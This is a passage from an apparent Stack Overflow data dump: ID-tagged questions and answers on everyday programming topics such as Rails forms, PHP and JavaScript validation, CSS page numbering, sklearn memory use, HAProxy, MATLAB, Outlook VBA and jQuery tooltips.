f.text_field :name %&gt; &lt;div class="actions"&gt; &lt;%= f.submit %&gt; &lt;/div&gt; &lt;% end %&gt; </code></pre> <p>When I go to 'http://localhost:3000/admin/users/new' rails throws an error:</p> <pre><code>undefined method `users_path' for #&lt;#&lt;Class:0x0000010116ca90&gt;:0x000001011588d8&gt; </code></pre> <p>Extracted source (around line #1):</p> <pre><code>1: &lt;%= form_for(@admin_user) do |f| %&gt; 2: &lt;% if @admin_user.errors.any? %&gt; 3: &lt;div id="error_explanation"&gt; 4: &lt;h2&gt;&lt;%= pluralize(@admin_user.errors.count, "error") %&gt; prohibited this admin_user from being saved:&lt;/h2&gt; </code></pre>
26826856	0	 <p>I realized it was as simple as using setMaximumSize().</p> <p><a href="https://docs.oracle.com/javase/tutorial/uiswing/layout/box.html#size" rel="nofollow">https://docs.oracle.com/javase/tutorial/uiswing/layout/box.html#size</a> - got it from here.</p>
5644871	0	What's wrong with this PHP/JavaScript form validation? <p>I’m not sure whether the problem I’m having is with JavaScript or with PHP. </p> <p>My objective: To validate a simple yes no form using JavaScript then process it via PHP and have a message displayed.</p> <p>My problem: When JavaScript is enabled and I click the radio button and submit it the PHP doesn’t output “YES status checked”. Instead it refreshes the page (ie. I think it simply posts the form to user_agreement4.php and does nothing else) When JavaScript is disabled and I click on the YES radio button and submit it, the message “YES status checked” displays correctly. Please note that the code below is for user_agreement4.php. The form will be submitted to itself.</p> <p>What am I doing wrong?</p> <p>Please note that this is unfinished code-I haven't added things like cookies, redirection etc. yet.</p> <p>Also I have a question about choosing answers. May I choose more than one reply as an answer?</p> <pre><code>&lt;?php // Set variables $selected_radio = 'test'; session_start(); // start up your PHP session! // The below code ensures that $dest should always have a value. if(isset($_SESSION['dest'])){ $dest = $_SESSION['dest']; } // Get the user's ultimate destination if(isset($_GET['dest'])){ $_SESSION['dest'] = $_GET['dest']; // original code was $dest = $_GET['dest']; $dest = $_SESSION['dest']; // new code } else { echo "Nothing to see here Gringo."; //Notification that $dest was not set at this time (although it may retain it's previous set value) } // Show the terms and conditions page //check for cookie if(isset($_COOKIE['lastVisit'])){ /* Add redirect &gt;&gt;&gt;&gt; header("Location: http://www.mywebsite.com/".$dest); &lt;&lt;This comment code will redirect page */ echo "aloha amigo the cookie is seto!"; } else { echo "No cookies for you"; } //Checks to see if the form was sent if (isset($_POST['submitit'])) { //Checks that a radio button has been selected if (isset($_POST['myradiobutton'])) { $selected_radio = $_POST['myradiobutton']; //If No has been selected the user is redirected to the front page. Add code later if ($selected_radio == 'NO') { echo "NO status checked"; } //If Yes has been selected a cookie is set and then the user is redirected to the downloads page. Add cookie code later else if ($selected_radio == 'YES') { echo "YES status checked"; // header("Location: http://www.mywebsite.com/".$dest); } } } ?&gt; &lt;HTML&gt; &lt;HEAD&gt; &lt;TITLE&gt;User Agreement&lt;/TITLE&gt; &lt;script language="javascript"&gt; function valbutton(thisform) { // validate myradiobuttons myOption = -1; for (i=thisform.myradiobutton.length-1; i &gt; -1; i--) { if (thisform.myradiobutton[i].checked) { myOption = i; } } if (myOption == -1) { alert("You must choose either YES or NO"); return false; } if (myOption == 0) { alert("You must agree to the agreement to download"); return false; } thisform.submit(); // this line submits the form after validation } &lt;/script&gt; &lt;/HEAD&gt; &lt;BODY&gt; &lt;H1&gt; User Agreement &lt;/H1&gt; &lt;P&gt;Before downloading you must agree to be bound by the following terms and conditions;&lt;/P&gt; &lt;form name="myform" METHOD ="POST" ACTION ="user_agreement4.php"&gt; &lt;input type="radio" value="NO" name="myradiobutton" /&gt;NO&lt;br /&gt; &lt;input type="radio" value="YES" name="myradiobutton" /&gt;YES&lt;br /&gt; &lt;input type="submit" name="submitit" onclick="valbutton(myform);return false;" value="ANSWER" /&gt; &lt;/form&gt; &lt;/BODY&gt; &lt;/HTML&gt; </code></pre>
3272026	0	 <p>Orthogonality is feature of your design independent of the language. Sure some language make it easier for you to have an orthogonal design for your system but you shouldn't focus on a specific language to keep your system's design as orthogonal as possible.</p>
4377744	0	 <p>This is a perfect case for which <code>git submodule</code> was designed: <a href="http://git-scm.com/docs/git-submodule" rel="nofollow">http://git-scm.com/docs/git-submodule</a></p> <p>Within the Project1 and Project2, you add submodule of the Common. And then you <code>git submodule checkout</code></p> <p>In the cloned repo it only stores the hash of the Common git. So you <code>git submodule init</code> and checkout.</p>
34888739	0	if JS wrapper objects are considered bad style, is type-checking with lodash _.isString etc. considered bad style as well? <p>As other questions and answers have already noted, Google and Douglas Crockford both consider JS wrapper objects bad style and shouldn't be used.</p> <p>If that's the case, should using lodash <code>_.isString</code>, which works for primitive and object-wrapped strings, just to check if something is a string, be considered bad style as well?</p> <p>It seems to me some lodash functions such as these are designed primarily to be used for functional programming, e.g. <code>_.filter(myArray, _.isString)</code>, but if one is following best practices of using only primitive strings, a simple <code>typeof</code> check would suffice for the implementation.</p> <p>But the lodash code for <code>_.isString</code> does much more than that:</p> <pre><code> /** * Checks if `value` is classified as a `String` primitive or object. * * @static * @memberOf _ * @category Lang * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is correctly classified, else `false`. * @example * * _.isString('abc'); * // =&gt; true * * _.isString(1); * // =&gt; false */ function isString(value) { return typeof value == 'string' || (!isArray(value) &amp;&amp; isObjectLike(value) &amp;&amp; objectToString.call(value) == stringTag); } </code></pre> <p>What was the motivation for this? Users who use object wrappers complaining that the lodash methods didn't work on them?</p>
20317775	0	 <p>As @page with pagenumbers don't work in browsers for now I was looking for alternatives.<br> I've found an <a href="http://stackoverflow.com/questions/15797161/browser-support-for-css-page-numbers/16651296#16651296">answer</a> posted by <strong><em>Oliver Kohll</em></strong>.<br> I'll repost it here so everyone could find it more easily:<br> For this answer we are <strong>not using @page</strong>, which is a pure CSS answer, but work in FireFox 20+ versions. Here is the <a href="http://jsfiddle.net/okohll/QnFKZ/">link</a> of an example.<br> The CSS is:<br></p> <pre><code>#content { display: table; } #pageFooter { display: table-footer-group; } #pageFooter:after { counter-increment: page; content: counter(page); } </code></pre> <p>And the HTML code is:<br></p> <pre><code>&lt;div id="content"&gt; &lt;div id="pageFooter"&gt;Page &lt;/div&gt; multi-page content here... &lt;/div&gt; </code></pre> <p>This way you can customize your page number by editing parametrs to <em>#pageFooter</em>. My example:<br></p> <pre><code>#pageFooter:after { counter-increment: page; content:"Page " counter(page); left: 0; top: 100%; white-space: nowrap; z-index: 20px; -moz-border-radius: 5px; -moz-box-shadow: 0px 0px 4px #222; background-image: -moz-linear-gradient(top, #eeeeee, #cccccc); background-image: -moz-linear-gradient(top, #eeeeee, #cccccc); } </code></pre> <p>This trick worked for me fine. Hope it will help you.</p>
10655238	0	 <p>You would need to capture the three key events separately and fire your action only after the third one.</p> <pre><code>var keys = { d: { code: 100, pressed: false, next: 'e' }, e: { code: 101, pressed: false, next: 'v' }, v: { code: 118, pressed: false, next: 'd' } }, nextKey = 'd'; $(document).keypress(function(e) { if (e.keyCode === keys[nextKey].code) { keys[nextKey].pressed = true; nextKey = keys[nextKey].next; } else { keys.d.pressed = false; keys.e.pressed = false; keys.v.pressed = false; nextKey = 'd'; } if (keys.d.pressed &amp;&amp; keys.e.pressed &amp;&amp; keys.v.pressed) { alert('Entering dev mode...'); } });​ </code></pre> <p>There's a number of ways to do this of course. This example doesn't require you to hold the keys down simultaneously, just that you type them in order: <kbd>d</kbd> <kbd>e</kbd> <kbd>v</kbd>. </p> <p>If you used this, you might want to augment it to clear the <code>pressed</code> flags after some time interval.</p> <p>Here's a <a href="http://jsfiddle.net/6eCx2/" rel="nofollow">working example</a>.</p> <hr> <p><sub>Disclaimer: I realize the original question said that the keys should be "pressed together". This is just an alternative as other answerers have already provided sufficient solutions for the keys being pressed together.</sub></p>
5514324	0	 <p>You could try setting the ActiveRecord logger to stdout in your test somewhere. If you're using rspec, maybe in the spec helper?</p> <pre><code>ActiveRecord::Base.logger = Logger.new(STDOUT) </code></pre>
25156169	0	Show HTML table side Columns on middle column hover <p>See <a href="http://jsfiddle.net/38QZ6/1/" rel="nofollow noreferrer">http://jsfiddle.net/38QZ6/1/</a></p> <pre><code>.feelo_table:hover .labels { display:table-cell; } </code></pre> <p>In the above code the expected output is when I hover the middle table column , I need to popup the side columns, as a wing like projection sideways. I am half way to it. I couldn't align the side columns properly.</p> <p>Below is the expected output:</p> <p><img src="https://i.stack.imgur.com/1OY4q.png" alt="http://i.stack.imgur.com/Pumgy.png"></p>
30918657	0	PHP HTML MySQL for offline solution <p>I am trying to develop a website using PHP and MySQL that support for offline.</p> <p>My requirement would be:</p> <ul> <li>when internet is down, user able to use the browser and browse to my full website and doing normal operation. 2</li> <li><p>By doing normal operation, it means user are able to perform normal CRUD functionality.</p></li> <li><p>CRUD work with mysql, which when internet is down, mysql is still running locally and when internet is back, there will be a sync process to sync local mysql into server db.</p></li> </ul> <p>Any suggestion of solution or links to the solution for this is much appreciated.</p>
24754536	0	How can i remove NSInvalidArgumentException Trace: <redacted> <redacted> .. My App Name.. <redacted>.. from Google Analytics? <p>Smart Peoples!!</p> <p>I turned on the uncaught exception logging in my iOS app:</p> <pre><code>[GAI sharedInstance].dispatchInterval = 120; [[[GAI sharedInstance] logger] setLogLevel:kGAILogLevelVerbose]; id&lt;GAITracker&gt; tracker = [[GAI sharedInstance] trackerWithTrackingId:@"UA-########-#"]; [GAI sharedInstance].defaultTracker = tracker; [GAI sharedInstance].trackUncaughtExceptions = YES; </code></pre> <p>In Google Analytics, I can click Crashes and Exceptions under Behavior and see a couple of crash reports, but they look like this:</p> <p><strong>ALL»EXCEPTION DESCRIPTION: NSInvalidArgumentException Trace: &lt; redacted > &lt; redacted > _CF_forwarding_prep_0 &lt; redacted > 0x0005f4d3 My App Name &lt; redacted > &lt; redacted > &lt; redacted > &lt; redacted ></strong></p> <p>What's with all the "redacted"? How do I get to see the actual exception message and stack trace? As is, this message is not very useful.</p> <p>Also my client have'nt reported me about any kind of crashes So How can I remove this Exception from Google Analytics ? Any Help Would be Highly Appreciable.</p> <p>Thanks in Advance!!</p>
23066609	0	Manual tree fitting memory consumption in sklearn <p>I'm using sklearn's <code>RandomForestClassifier</code> for a classification problem. I would like to train the trees of the a forest individually as I am grabbing subsets of a (VERY) large set for each tree. However, when I fit trees manually, memory consumption bloats.</p> <p>Here's a line-by-line memory profile using <code>memory_profiler</code> of a custom fit vs using the <code>RandomForestClassifier</code>'s <code>fit</code> function. As far as I can tell the source fit function performs the same steps as the custom fit. So what gives with all the extra memory??</p> <p>normal fit:</p> <pre><code>Line # Mem usage Increment Line Contents ================================================ 17 28.004 MiB 0.000 MiB @profile 18 def normal_fit(): 19 28.777 MiB 0.773 MiB X = random.random((1000,100)) 20 28.781 MiB 0.004 MiB Y = random.random(1000) &lt; 0.5 21 28.785 MiB 0.004 MiB rfc = RFC(n_estimators=100,n_jobs=1) 22 28.785 MiB 0.000 MiB rfc.n_classes_ = 2 23 28.785 MiB 0.000 MiB rfc.classes_ = array([False, True],dtype=bool) 24 28.785 MiB 0.000 MiB rfc.n_outputs_ = 1 25 28.785 MiB 0.000 MiB rfc.n_features_ = 100 26 28.785 MiB 0.000 MiB rfc.bootstrap = False 27 37.668 MiB 8.883 MiB rfc.fit(X,Y) </code></pre> <p>custom fit:</p> <pre><code>Line # Mem usage Increment Line Contents ================================================ 4 28.004 MiB 0.000 MiB @profile 5 def custom_fit(): 6 28.777 MiB 0.773 MiB X = random.random((1000,100)) 7 28.781 MiB 0.004 MiB Y = random.random(1000) &lt; 0.5 8 28.785 MiB 0.004 MiB rfc = RFC(n_estimators=100,n_jobs=1) 9 28.785 MiB 0.000 MiB rfc.n_classes_ = 2 10 28.785 MiB 0.000 MiB rfc.classes_ = array([False, True],dtype=bool) 11 28.785 MiB 0.000 MiB rfc.n_outputs_ = 1 12 28.785 MiB 0.000 MiB rfc.n_features_ = 100 13 73.266 MiB 44.480 MiB for i in range(rfc.n_estimators): 14 72.820 MiB -0.445 MiB rfc._make_estimator() 15 73.262 MiB 0.441 MiB rfc.estimators_[-1].fit(X,Y,check_input=False) </code></pre>
28846410	0	Select Weekly/Bi-weekly/twice a week in multidatespicker <p>i'm not sure if this is possible but i can't find any clue of doing this with multidatespicker.. i'm creating a web booking system which need to allow customer to select any booking date which they like. But now my client was requesting to create package like weekly package(4 times per month), biweekly(1 times per 2 weeks) and etc..For weekly example.. when customer choose tuesday of that week.. the rest of 6 days all will be disable.. and for biweekly.. for that week and next week will be disable.. </p> <p>Thousand appreciate for someone who could help :)</p>
31790460	0	Haproxy - How to parse and store parts of an incoming URL <p>If I have an incoming url like so:</p> <p>foo.com/FooID/1234/FooLocation/NYC</p> <p>How do I go about extracting these values from the incoming request so I can use them for a lookup in a map file. I know this must be doable with regex, but I was hoping for a more elegant solution similar to extracting url parameters:</p> <p>Example:</p> <p><code>http-request set-header X-FooId %[url_param(FooID)].</code></p> <p>If not, which regex function would be best used in this instance so I could either store this value or access it directly via a header?</p>
17824017	0	 <p>Try this:</p> <pre><code>SELECT count(MobileNo), count( case when m.Month=1 then m.Month else 0 end ) as Month 1, count( case when m.Month=2 then m.Month else 0 end ) as Month 2, count( case when m.Month=3 then m.Month else 0 end ) as Month 3, . . . count( case when m.Month=12 then m.Month else 0 end ) as Month 12 FROM MonthlySubscriber m GROUP BY m.Month </code></pre>
17701718	0	Combining solve and dsolve to solve equation systems with differential and algebraic equations <p>I am trying to solve equation systems, which contain algebraic as well as differential equations. To do this symbolically I need to combine dsolve and solve (do I?).</p> <p>Consider the following example: We have three base equations</p> <pre><code>a == b + c; % algebraic equation diff(b,1) == 1/C1*y(t); % differential equation 1 diff(c,1) == 1/C2*y(t); % differential equation 2 </code></pre> <p>Solving both differential equations, eliminating int(y,0..t) and then solving for c=f(C1,C2,a) yields</p> <pre><code>C1*b == C2*c or C1*(a-c) == C2*c c = C1/(C1+C2) * a </code></pre> <p>How can I convince Matlab to give me that result? Here is what I tried:</p> <pre><code>syms a b c y C1 C2; Eq1 = a == b + c; % algebraic equation dEq1 = 'Db == 1/C1*y(t)'; % differential equation 1 dEq2 = 'Dc == 1/C2*y(t)'; % differential equation 2 [sol_dEq1, sol_dEq2]=dsolve(dEq1,dEq2,'b(0)==0','c(0)==0'); % this works, but no inclusion of algebraic equation %[sol_dEq1, sol_dEq2]=dsolve(dEq1,dEq2,Eq1,'c'); % does not work %solve(Eq1,dEq1,dEq2,'c') % does not work %solve(Eq1,sol_dEq_C1,sol_dEq_C2,'c') % does not work </code></pre> <p>No combination of solve and/or dsolve with the equations or their solutions I tried gives me a useful result. Any ideas?</p>
6279882	0	Tutorials for Writing Common Code for use on Windows, OS X, iOS, and potentially Android <p>I'm looking at writing an application that I would like to use on Windows, OSX, and iOS (maybe pushing into Android if other people want to use it). I want to duplicate as little work as possible and I'm having a hard time finding information on the best way to do this. </p> <p>From what I've found so far I can't use a framework like QT because iOS doesn't support QT so it looks like I'm stuck recreating the interface for each target. I'm looking at writing the business logic in C++ because it seems to be supported by the native tools (Visual Studio and xCode).</p> <p>Has anyone had experience with a setup like this and if so can you point me towards a good reference for this kind of development?</p>
14508920	0	 <p>The new <code>JLabel</code> is not appearing as you would need to call <code>revalidate()</code> and <code>repaint()</code> to update the container to account for the newly added component.</p> <p>From your use of <code>setBounds</code>, it appears you are using absolute positioning (If not, a layout manager will pay no heed to this call). <em>Always</em> better to use a <a href="http://docs.oracle.com/javase/tutorial/uiswing/layout/visual.html" rel="nofollow">layout manager</a> for positioning &amp; sizing components..</p> <p>You could simply call <code>setText</code> on an existing <code>JLabel</code> instead of adding a new one to the container:</p> <pre><code>b3.addActionListener(new ActionListener() { @Override public void actionPerformed(ActionEvent arg0) { final JFileChooser fc = new JFileChooser(); int returnVal = fc.showOpenDialog(fc); if (returnVal == JFileChooser.APPROVE_OPTION) { File file = fc.getSelectedFile(); String fileName = file.getName(); l6.setText(fileName); } } }); </code></pre>
27698375	0	How to generate 32 bit UUID in iOS? <p>I know that can generate a UUID with <a href="https://developer.apple.com/library/mac/documentation/Foundation/Reference/NSUUID_Class/index.html" rel="nofollow">NSUUID</a>:</p> <pre><code>NSString *uuid = [[NSUUID UUID] UUIDString]; </code></pre> <p>But this is 128-bit values.</p> <p>I want to get a 32-bit UUID how to do that?</p>
7987073	0	 <p><a href="http://en.wikipedia.org/wiki/Indent_style" rel="nofollow">http://en.wikipedia.org/wiki/Indent_style</a> http://en.wikipedia.org/wiki/Coding_conventions</p> <p>Are a good place to start. I personally use the K&amp;R style for clarity. When it comes down to it though all you need to do is find a style you like and stick with it. Consistency ;]</p>
40384206	0	 <p>I found a solution! Thanks largely to <a href="https://turbofuture.com/computers/Creating-Dynamic-Charts-using-the-OFFSET-function-and-Named-Ranges-in-Excel-2007-and-Excel-2010" rel="nofollow noreferrer">this page</a>. Here's what I did:</p> <p>I created made a named range using this formula: <code>=OFFSET(Report!$B$1,1,0,COUNTIF(Report!$B$2:$B$30,"&lt;&gt;-"),1)</code></p> <p>For that to work, I had to change all the empty cells to output <code>"-"</code> when empty in stead of <code>""</code>. I couldn't get <code>COUNTIF</code> to accept <code>"&lt;&gt;"""</code> or <code>"&lt;&gt;"</code> or any other weird tricks I tried. Using <code>"-"</code> was easier.</p> <p>That makes a dynamic named range that changes size as I put data into the sheet. I named a similar range for everything I'm trying to chart (Approved Status, Call Ready, Not Ready). The chart was able to accept those names and now it's dynamically sized. If I only have three agents on the sheet, it shows three huge bars. With twenty, it shows twenty bars (exactly what I was looking for).</p> <p>One other tip: I changed my first row to output <code>""</code> when empty, so that <code>COUNTIF(Report!$B$2:$B$30,"&lt;&gt;-")</code> always returns at least 1 (otherwise you get annoying errors because you have a named range referencing a 0-length array).</p>
37343369	1	Is there a way to sort custom objects in a custom way in Python? <p>I'm using web.py to spin up endpoints and as such, I present a list of endpoints like so</p> <pre><code>urls = ('/(.*)', 'base', '/shapes/(.*)', 'shapes', '/sounds/(.*)', 'sounds', '/shapes/rectangualar/(.*)', 'rectangualarShapes', '/sounds/loud/(.*)', 'loudSounds') </code></pre> <p>As web.py will see the first one and match all possible endpoints to it, they need to be ordered, most specific first, i.e.</p> <pre><code>urls = ('/shapes/rectangualar/(.*)', 'rectangualarShapes', '/shapes/(.*)', 'shapes', '/sounds/loud/(.*)', 'loudSounds' '/shapes/(.*)', 'shapes', '/sounds/(.*)', 'sounds', '/(.*)', 'base') </code></pre> <p>I want to order these, by URI. Firstly if there's a simple way to do it, as tuples, it would be great but I figure I need to convert them to objects</p> <pre><code>class Endpoint(object): def __init__(self, id, classname): self.id = id self.classname = classname def getId(item): return self.id </code></pre> <p>and <code>print sorted(endpointList, key=id)</code> them. How would I do this in Python 3+? I've come across comparator functions but it seems they are deprecated.</p> <p>What is the best way to do custom sorting?</p>
23432284	0	 <p>Well, you can check if a variable is an array or string using instanceOf or typeOf or .constuctor: See here <a href="http://tobyho.com/2011/01/28/checking-types-in-javascript/" rel="nofollow">http://tobyho.com/2011/01/28/checking-types-in-javascript/</a> </p> <pre><code> if(myVariable instanceOf Array){ //multi select } else if(myVariable.constructor === String){ //single select } </code></pre> <hr> <p>or you can simply convert your string to an array and check the length of the array.</p> <pre><code> $scope.myVariable = $scope.myPreviousVar.split(','); // or however you want to delimit this if($scope.myVariable.length === 1){ //single select } else if($scope.myVariable.length &gt; 1){ //multi select } </code></pre>
14997339	0	 <p>One other idea for you is CodeIgniter Template.</p> <p>Here you have the link: <a href="http://williamsconcepts.com/ci/codeigniter/libraries/template/reference.html" rel="nofollow">http://williamsconcepts.com/ci/codeigniter/libraries/template/reference.html</a></p> <p>You can download, read the documentation and create your own template easly.</p>
12595562	0	 <p>u can solve it by using support v4 make the tab2 extends fragment-activity and wish item of list extends fragment and than u call those fragment and open them in the tab2 wish this can help u</p>
15590052	0	 <p>I tried to understand your code and failed... However I believe that I can recommend you to create special flag, (e.g. <code>buttonClicked</code>). The value of this variable will be <code>false</code>.</p> <p>When user clicks button the flow should arrive to code like this:</p> <pre><code>if (buttonClicked) { return; } buttonClicked = true; // do other stuff hrere </code></pre> <p>Please do not forget to synchronize this piece of code. Otherwise it could be executed simultaneously if user clicks fast enough.</p>
32698932	0	 <p>Try this. Simply test for what button was pressed when Sale is selected. </p> <p>As always, it is recommended that you validate this in your backend, too.</p> <pre><code>$(document).on('change', '#transfertype', function () { var purchaseprice = $('#purchaseprice'); if ($(this).val() === '' || $(this).val() === 'Sale') { purchaseprice.val('').prop('readOnly', false); $("#purchaseprice").keydown(function (e) { // Allow: backspace, delete, tab, escape, enter and . if ($.inArray(e.keyCode, [46, 8, 9, 27, 13, 110, 190]) !== -1 || // Allow: Ctrl+A, Command+A (e.keyCode == 65 &amp;&amp; (e.ctrlKey === true || e.metaKey === true)) || // Allow: home, end, left, right, down, up (e.keyCode &gt;= 35 &amp;&amp; e.keyCode &lt;= 40)) { // let it happen, don't do anything return; } // Ensure that it is a number and stop the keypress if ((e.shiftKey || (e.keyCode &lt; 48 || e.keyCode &gt; 57)) &amp;&amp; (e.keyCode &lt; 96 || e.keyCode &gt; 105)) { e.preventDefault(); } }); } else { purchaseprice.val($(this).val()).prop('readOnly', true); purchaseprice.valid(); } calculateTotal(); </code></pre> <p>});</p> <p><a href="https://jsfiddle.net/2qmre9rv/3/" rel="nofollow">jsfiddle</a></p> <p><a href="http://stackoverflow.com/questions/995183/how-to-allow-only-numeric-0-9-in-html-inputbox-using-jquery">Original function</a></p>
13009926	0	 <p>Is this what you are looking for?</p> <pre><code>#footer { display: inline-block; max-width: 1600px; min-width: &lt;your min width&gt;; text-align: center; } #footer&gt;* {display: inline-block;text-align: left;} #footer #navJumpMenu{float:right;} #footer #jumperMenu{float:left;} </code></pre> <p>Hope that helps.</p>
32823117	0	 <p>Put a info.php file on your server having code </p> <pre><code> &lt;?php phpinfo(); ?&gt; </code></pre> <p>if this code execute and show you server information then your server configuration is ok and your file name is added with some other extention, if not then you need to first setup it.</p>
13717747	0	 <p>I got this problem and I think the easier way is the same with the second way that hvgotcodes gave.</p> <blockquote> <p>Or you can copy all the ones you want to keep into a new list as you iterate, and then discard the old list when done.</p> </blockquote> <pre><code>@Test public void testListCur(){ List&lt;String&gt; li=new ArrayList&lt;String&gt;(); for(int i=0;i&lt;10;i++){ li.add("str"+i); } List&lt;String&gt; finalLi = new ArrayList&lt;String&gt;(); for(String st:li){ if(st.equalsIgnoreCase("str3")){ // Do nothing } else { finalLi.add(st); } } System.out.println(finalLi); } </code></pre>
37290612	0	sequencial numbers in mapreduce <p>I have written a Java code to create RowId in Java. But I need to convert it into mapreduce. I am new to MapReduce and need your help.</p> <p>Input is a file in local</p> <pre><code>example: Alex 23 M NY Alex 19 M NJ Alex 29 M DC Michael 20 M NY Michael 24 M DC </code></pre> <p>Count file providing as secondary input Example:</p> <pre><code>Alex 3 Michael 2 Desired Output: 1 Alex 23 M NY 2 Alex 19 M NJ 3 Alex 29 M DC 1 Michael 20 M NY 2 Michael 24 M DC </code></pre> <p>My code in Java is here:</p> <pre><code>public class RowId { public static void main( String [] args) throws IOException { BufferReader in = null; BufferReader cnt = null; BufferWriter out = null; String in_line; String out_line; int frst_row_ind=1; int row_cnt=0; int new_col=0; try{ in= BufferReader(new FileReader ("file path in local"); File out_file = new File("o/p path in local"); if(!out_file.exists()){ out_file.createNewFile(); } FileWriter fw = new FileWriter(out_file); out = new BufferWriter(fw); while((in_line = in.readLine())! = null) { if (in_line!=null) { String[] splitData = in_line.split("\\t"); cnt = new BufferReader(new FileReader("file path of countFile") while((cnt_line=cnt.readLine()) != null ) { String[] splitCount = cnt_line.split("\\t"); if ((splitCount[0]).equalsIgnoreCase(splitData[0])) { if (frst_row_ind==1) { row_cnt = Integer.parseInt(splitCount[1]); } new_col++ out.write(String.valueOf(new_col)); out.write("\\t"); for(int i= 0; i &lt;splitData.length; i++) { if (!(splitData[i] == null) || (splitData[i].length()== 0)) { out.write(splitData[i].trim()); if (i!=splitData.length-1) { out.write("\\t"); } } } row_cnt--; out.write("\r\n"); if(row_cnt==0) { frst_row_ind=1; new_col=0; } else{ frst_row_ind=0; } out.flush(); break; } } } } } catch (IOException e) { e.printStrackTrace(); } finally { try{ if(in!=null) in.close(); if(cnt !=null) cnt.close(); } catch (IOException e) { e.printStrackTrace(); } } } } </code></pre> <p>Please do revert with your idea(s).</p>
15913387	0	 <p><a href="http://unix.stackexchange.com/questions/26946/disabling-caps-lock-by-setxkbmap-makes-it-shift-key-in-emacs">This</a> question is probably relevant, basically just use xmodmap to set the keys directly. It worked for me when I had caps lock set to control and I think I was using gnome3 classic (which Cinammon is based on) at the time.</p> <p>On a related note I'd also recommend having a look at <a href="https://github.com/r0adrunner/Space2Ctrl" rel="nofollow">space2ctrl</a>, I found that reaching for caps lock all the time still hurt my fingers.</p>
28198941	0	 <p>Re: I cannot work out how to make the VBA code select that Outlook Data File Inbox...</p> <pre><code>Private Sub ProcessPST() Dim objNs As Namespace Dim pstFolder As folder Dim objItem As Object Dim i As Long Set objNs = GetNamespace("MAPI") Set pstFolder = objNs.Folders("Test") ' &lt;--- Test is the name of the pst For i = 1 To pstFolder.Items.count Set objItem = pstFolder.Items(i) Debug.Print objItem.Subject Next i ExitRoutine: Set objNs = Nothing Set pstFolder = Nothing Set objItem = Nothing End Sub </code></pre>
8899548	0	 <p>Qt APIs for DVB-H do not exist. JSR-272 is the only option on Symbian. </p>
5984518	0	Create bindings of ListView items programmatically <p>I have the following wpf control added to xaml:</p> <pre class="lang-xml prettyprint-override"><code>&lt;ListView Margin="22,80,271,12" Name="listView1" ItemsSource="{Binding}" /&gt; </code></pre> <p>I know how to create a ListView object programmatically. The only thing that I am missing is how could I add the property </p> <pre class="lang-xml prettyprint-override"><code>ItemsSource="{Binding}" </code></pre> <p>with code to that object. I have already managed to add the columns and gridview with c#. The only thing that I am missing is to add that property ItemsSource="{Binding}" </p> <p>I have tried looking for an answer <a href="http://stackoverflow.com/questions/3874218/what-does-itemssource-binding-mean/3874319#3874319">here</a>.</p>
30657991	0	Lightswitch nested autocomplete boxes <p>I have Lightswitch 2013 and need to have nested autocomplete boxes. All the examples on the Internet are for older versions of Lightswitch and there are just a few differences in their examples from my version. Example: When adding Data Item for Local Property, Type "someTable" (Entity) doesn't come up as a choice. Also, if I click on one of my tables, then when I drag this Local Property to the screen is doesn't create an autocomplete box. Seems simple, but frustrating when I've tried many different ways. Please provide specific example using Lightswitch 2013. Thanks in advance. Steve</p>
26143255	0	Nginx rewrite POST as GET, and redirect <p>Is it possible for a <code>POST</code> request to <code>http://me.com</code></p> <p>to be converted to a <code>GET</code> request such as <code>http://me.com/api.php?some_static_param=yippee;&lt;rest of post data as get request&gt;</code> using Nginx?</p>
39037943	0	 <p>Check if <code>remoteMessage.getNotification()</code> is not NULL. I think it is NULL because you are not sending the param 'notification' in your <code>$fields</code> array of your PHP code. You are sending 'data'. So, when you send the parameter 'data' you have to get that parameter with <code>remoteMessage.getData()</code>. </p> <p>Try to print the content of <code>remoteMessage.getData().toString()</code> in your onMessageReceived method. It should print the data you are sending in the notification.</p> <p>Hope this helps.</p>
27187365	0	 <p>If you have a CustomCell, you must have a CustomCell.m (implementation file). In this file add this, to me is the easy way: </p> <pre><code>-(void)setHighlighted:(BOOL)highlighted { if (highlighted) { self.layer.opacity = 0.6; // Here what do you want. } else{ self.layer.opacity = 1.0; // Here all change need go back } } </code></pre>
35871296	0	Appending or adding new text next to current tooltip text JQuery <p>I was wondering whether its possible to add new text next to or append text to existing text already on tooltip. </p> <p>For example, I have a div tag containing tooltip text like so;</p> <pre><code>&lt;div id="myDiv1" class="myDiv" title="This is Tooltip"&gt;body text &lt;/div&gt; </code></pre> <p>As shown above, the current tooltip text is: <code>This is Tooltip</code></p> <p>What I want to do is using jquery, appned / add more text to this. For example,</p> <pre><code>This is toopltip for myDiv1 </code></pre> <p>I have tried, but these don't seem to work and most don't return anything some return undefined, please help;</p> <pre><code>$('#myDiv1').attr("title", $('#myDiv1').tooltip + "" + "\nSome new text to append"); $('#myDiv1').prop("tooltipText", $('#myDiv1').tooltipText + "" + "\nSome new text to append"); $('#myDiv1').attr("data-original-title", $('#myDiv1').tooltipText + "" + "\nSome new text to append"); </code></pre> <p>Any help is welcomed :)</p>
6956521	0	 <p>The Delete request isn't a full on true delete request. It's actually faked, much like the put request is when you use the form_for on a saved object. As far as I know, there's no reason why not use the REST convention provided. </p> <p>On another note, is that your own code in the snippet, or an example? Kind of curious why you would check to see if the record you are deleting is associated to parent. I guess there's always the possibility that in between the time you clicked on the delete, and it got to the request, that someone changed its parent somewhere else.</p> <p>Edit, here's the header information when i click on the delete link in a rails 3 scaffold app:</p> <pre><code>Request URL:http://phone_qa.dev/sites/2 Request Method:POST Status Code:302 Moved Temporarily Request Headersview source Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3 Accept-Encoding:gzip,deflate,sdch Accept-Language:en-US,en;q=0.8 Cache-Control:max-age=0 Connection:keep-alive Content-Length:86 Content-Type:application/x-www-form-urlencoded Cookie: _phone_qa_session=BAh7B0kiD3Nlc3Npb25faWQGOgZFRkkiJTg4Y2Q4ZTgyOGYwM2IyMWI1N2Y4MjYyMTcwMzJiMzMwBjsAVEkiEF9jc3JmX3Rva2VuBjsARkkiMVY0QkFIOXdzRFZXZi9yYnlkODJCUEdLTisvT2V6dVpkVDYyckkyR3JQSzg9BjsARg%3D%3D--e8244fd59e5fc34b37a93c2e768ace7a3bfffe44 Host:phone_qa.dev Origin:http://phone_qa.dev Referer:http://phone_qa.dev/sites User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.107 Safari/535.1 Form Dataview URL encoded 